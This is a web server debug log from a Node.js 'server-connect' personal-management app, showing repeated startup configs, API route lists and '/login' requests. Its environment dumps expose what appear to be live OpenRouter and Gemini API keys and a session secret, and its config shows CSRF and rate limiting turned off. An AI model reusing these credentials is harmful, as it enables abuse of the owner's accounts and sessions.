    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0',
    referer: 'https://ems.sanjaychaurasia.xyz',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '3.82.145.248',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-06-11T00:17:06.664Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '3.82.145.248',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '3.82.145.248',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-06-10T05:41:50.787Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-06-10T05:41:55.274Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-06-10T05:41:57.048Z server-connect:setup:upload Upload middleware configured.
2026-06-10T05:41:57.049Z server-connect:secure CSRF Protection initialized
2026-06-10T05:41:57.064Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-06-10T05:41:57.069Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-06-10T05:41:57.072Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-06-10T05:41:57.079Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-06-10T05:41:57.091Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-06-10T05:41:57.101Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-06-10T05:41:57.117Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-06-10T05:41:57.133Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-06-10T05:41:57.140Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-06-10T05:41:57.143Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-06-10T05:41:57.146Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-06-10T05:41:57.157Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-06-10T05:41:57.164Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-06-10T05:41:57.178Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-06-10T05:41:57.187Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-06-10T05:41:57.262Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-06-10T05:41:57.265Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-06-10T05:41:57.287Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-06-10T05:41:57.355Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-06-10T05:41:57.379Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-06-10T05:41:57.381Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-06-10T05:41:57.399Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-06-10T05:41:57.404Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-06-10T05:41:57.414Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-06-10T05:41:57.418Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-06-10T05:41:57.424Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-06-10T05:41:57.428Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-06-10T05:41:57.430Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-06-10T05:41:57.442Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-06-10T05:41:57.445Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-06-10T05:41:57.452Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-06-10T05:41:57.455Z server-connect:setup:routes Api route /api/test(.json)? created
2026-06-10T05:41:57.463Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-06-10T05:41:57.467Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-06-10T05:41:57.481Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-06-10T05:41:57.486Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-06-10T05:41:57.498Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-06-10T05:41:57.510Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-06-10T05:41:58.626Z server-connect:router Serving templateView /
2026-06-10T05:41:58.717Z server-connect:app Executing action step identify
2026-06-10T05:41:58.717Z server-connect:app options: { provider: 'security' }
2026-06-10T05:41:58.760Z server-connect:auth No login cookie found
2026-06-10T05:41:58.760Z server-connect:output identity: false
2026-06-10T05:41:58.760Z server-connect:app Executing action step restrict
2026-06-10T05:41:58.760Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-06-10T05:41:58.765Z server-connect:output restrict: undefined
2026-06-10T09:09:18.968Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-06-10T09:09:21.176Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-06-10T09:09:22.039Z server-connect:setup:upload Upload middleware configured.
2026-06-10T09:09:22.039Z server-connect:secure CSRF Protection initialized
2026-06-10T09:09:22.044Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-06-10T09:09:22.046Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-06-10T09:09:22.047Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-06-10T09:09:22.050Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-06-10T09:09:22.058Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-06-10T09:09:22.061Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-06-10T09:09:22.075Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-06-10T09:09:22.088Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-06-10T09:09:22.092Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-06-10T09:09:22.094Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-06-10T09:09:22.096Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-06-10T09:09:22.100Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-06-10T09:09:22.106Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-06-10T09:09:22.115Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-06-10T09:09:22.120Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-06-10T09:09:22.192Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-06-10T09:09:22.194Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-06-10T09:09:22.198Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-06-10T09:09:22.204Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-06-10T09:09:22.207Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-06-10T09:09:22.209Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-06-10T09:09:22.217Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-06-10T09:09:22.220Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-06-10T09:09:22.225Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-06-10T09:09:22.227Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-06-10T09:09:22.232Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-06-10T09:09:22.232Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-06-10T09:09:22.235Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-06-10T09:09:22.242Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-06-10T09:09:22.242Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-06-10T09:09:22.245Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-06-10T09:09:22.247Z server-connect:setup:routes Api route /api/test(.json)? created
2026-06-10T09:09:22.251Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-06-10T09:09:22.251Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-06-10T09:09:22.258Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-06-10T09:09:22.262Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-06-10T09:09:22.264Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-06-10T09:09:22.274Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-06-10T11:55:28.232Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-06-10T11:55:28.967Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-06-10T11:55:29.720Z server-connect:setup:upload Upload middleware configured.
2026-06-10T11:55:29.721Z server-connect:secure CSRF Protection initialized
2026-06-10T11:55:29.722Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-06-10T11:55:29.724Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-06-10T11:55:29.725Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-06-10T11:55:29.726Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-06-10T11:55:29.732Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-06-10T11:55:29.733Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-06-10T11:55:29.746Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-06-10T11:55:29.760Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-06-10T11:55:29.763Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-06-10T11:55:29.764Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-06-10T11:55:29.766Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-06-10T11:55:29.768Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-06-10T11:55:29.774Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-06-10T11:55:29.784Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-06-10T11:55:29.786Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-06-10T11:55:29.794Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-06-10T11:55:29.795Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-06-10T11:55:29.797Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-06-10T11:55:29.804Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-06-10T11:55:29.807Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-06-10T11:55:29.809Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-06-10T11:55:29.811Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-06-10T11:55:29.813Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-06-10T11:55:29.820Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-06-10T11:55:29.820Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-06-10T11:55:29.825Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-06-10T11:55:29.827Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-06-10T11:55:29.830Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-06-10T11:55:29.830Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-06-10T11:55:29.834Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-06-10T11:55:29.834Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-06-10T11:55:29.837Z server-connect:setup:routes Api route /api/test(.json)? created
2026-06-10T11:55:29.840Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-06-10T11:55:29.840Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-06-10T11:55:29.849Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-06-10T11:55:29.852Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-06-10T11:55:29.855Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-06-10T11:55:29.864Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-06-10T11:55:33.370Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-06-10T11:55:33.530Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-06-10T11:55:33.618Z server-connect:setup:upload Upload middleware configured.
2026-06-10T11:55:33.618Z server-connect:secure CSRF Protection initialized
2026-06-10T11:55:33.620Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-06-10T11:55:33.621Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-06-10T11:55:33.622Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-06-10T11:55:33.622Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-06-10T11:55:33.623Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-06-10T11:55:33.624Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-06-10T11:55:33.624Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-06-10T11:55:33.625Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-06-10T11:55:33.628Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-06-10T11:55:33.628Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-06-10T11:55:33.629Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-06-10T11:55:33.629Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-06-10T11:55:33.629Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-06-10T11:55:33.630Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-06-10T11:55:33.630Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-06-10T11:55:33.630Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-06-10T11:55:33.630Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-06-10T11:55:33.631Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-06-10T11:55:33.631Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-06-10T11:55:33.631Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-06-10T11:55:33.632Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-06-10T11:55:33.632Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-06-10T11:55:33.632Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-06-10T11:55:33.633Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-06-10T11:55:33.633Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-06-10T11:55:33.633Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-06-10T11:55:33.633Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-06-10T11:55:33.633Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-06-10T11:55:33.634Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-06-10T11:55:33.634Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-06-10T11:55:33.634Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-06-10T11:55:33.634Z server-connect:setup:routes Api route /api/test(.json)? created
2026-06-10T11:55:33.634Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-06-10T11:55:33.635Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-06-10T11:55:33.635Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-06-10T11:55:33.635Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-06-10T11:55:33.635Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-06-10T11:55:33.635Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-06-10T11:55:33.740Z server-connect:router Serving templateView /
2026-06-10T11:55:33.745Z server-connect:app Executing action step identify
2026-06-10T11:55:33.745Z server-connect:app options: { provider: 'security' }
2026-06-10T11:55:33.747Z server-connect:auth No login cookie found
2026-06-10T11:55:33.747Z server-connect:output identity: false
2026-06-10T11:55:33.747Z server-connect:app Executing action step restrict
2026-06-10T11:55:33.748Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-06-10T11:55:33.751Z server-connect:output restrict: undefined
2026-06-10T11:55:33.930Z server-connect:router Serving templateView /login
2026-06-10T11:55:33.930Z server-connect:app Executing action step identify
2026-06-10T11:55:33.930Z server-connect:app options: { provider: 'security' }
2026-06-10T11:55:33.930Z server-connect:auth No login cookie found
2026-06-10T11:55:33.930Z server-connect:output identity: false
2026-06-10T11:55:33.930Z server-connect:router Render template layouts/authentication
2026-06-10T11:55:33.931Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'www.ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (compatible; wpbot/1.4; +https://forms.gle/ajBaxygz9jSR8p8G9)',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '35.84.143.113',
    connection: 'keep-alive',
    'x-forwarded-host': 'www.ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-06-11T11:55:33.928Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '35.84.143.113',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'www.ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://www.ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'www.ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (compatible; wpbot/1.4; +https://forms.gle/ajBaxygz9jSR8p8G9)',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '35.84.143.113',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'www.ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-06-10T13:59:09.378Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-06-10T13:59:09.549Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-06-10T13:59:09.633Z server-connect:setup:upload Upload middleware configured.
2026-06-10T13:59:09.633Z server-connect:secure CSRF Protection initialized
2026-06-10T13:59:09.635Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-06-10T13:59:09.636Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-06-10T13:59:09.636Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-06-10T13:59:09.638Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-06-10T13:59:09.639Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-06-10T13:59:09.640Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-06-10T13:59:09.642Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-06-10T13:59:09.645Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-06-10T13:59:09.645Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-06-10T13:59:09.646Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-06-10T13:59:09.646Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-06-10T13:59:09.646Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-06-10T13:59:09.647Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-06-10T13:59:09.647Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-06-10T13:59:09.647Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-06-10T13:59:09.648Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-06-10T13:59:09.648Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-06-10T13:59:09.648Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-06-10T13:59:09.649Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-06-10T13:59:09.649Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-06-10T13:59:09.649Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-06-10T13:59:09.677Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-06-10T13:59:09.677Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-06-10T13:59:09.678Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-06-10T13:59:09.678Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-06-10T13:59:09.679Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-06-10T13:59:09.679Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-06-10T13:59:09.679Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-06-10T13:59:09.680Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-06-10T13:59:09.680Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-06-10T13:59:09.681Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
